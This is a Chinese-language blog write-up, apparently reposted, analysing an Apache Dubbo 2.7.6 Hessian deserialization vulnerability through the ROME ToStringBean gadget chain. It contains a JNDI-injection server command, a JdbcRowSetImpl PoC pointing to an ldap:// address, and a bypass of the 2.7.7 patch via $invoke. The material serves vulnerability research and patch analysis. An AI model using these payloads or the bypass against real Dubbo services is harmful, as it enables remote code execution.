vlambda博客
学习文章列表

环境：dubbo 2.7.6 + java 8u151 + rome 1.7.0

下载测试代码，直接启动 provider

开启jndi监听 https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "cmd /c calc" -A 127.0.0.1

JdbcRowSetImpl=new_object(

'com.sun.rowset.JdbcRowSetImpl',

dataSource="ldap://127.0.0.1:1389/olyuyt",

strMatchColumns=["foo"]

)

运行PoC，成功触发反序列化漏洞

根据PoC返回的报错信息，在org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker打上断点

运行PoC后根据调用栈进行分析，发现在org.apache.dubbo.rpc.dubbo.DecodeableRpcInvocation的decode方法中调用ReflectUtils.desc2classArray对参数进行反序列化

具体的反序列化细节在com.alibaba.caucho.hessian.io.Hessian2input的readObject(Class expectedClass, Class<?>... expectedTypes)方法中，暂不深入分析。（注：此处存在另外一个反序列化漏洞点）

在getInvoker方法中由于未找到对应的Service，抛出异常RemotingException

抛出RemotingException时拼接字符串调用Invocation.toString

由于Invocation.arguments即为decode中反序列化的参数，从而调用了com.rometools.rome.feed.impl.ToStringBean.toString 触发反序列化调用链

分析补丁

https://github.com/apache/dubbo/commit/04fc3ce4cc87b9bd09546c12df3f8762b9525da9

在反序列化参数时增加了对service和method的校验。

由于参数还是会被反序列化，依然会有被绕过的风险。方法大致分两种：

1. 构造特殊的service和method绕过RpcUtils.isGenericCall或者RpcUtils.isEcho的校验，从而继续使用RemotingException这里的sink点

2. 寻找其他的利用链

对isGenericCall、isEcho方法进行分析

可以通过$invoke、$invokeAsync绕过此处的校验

修改pom.xml中的dubbo版本为2.7.7，仍可通过poc触发反序列化漏洞

参考链接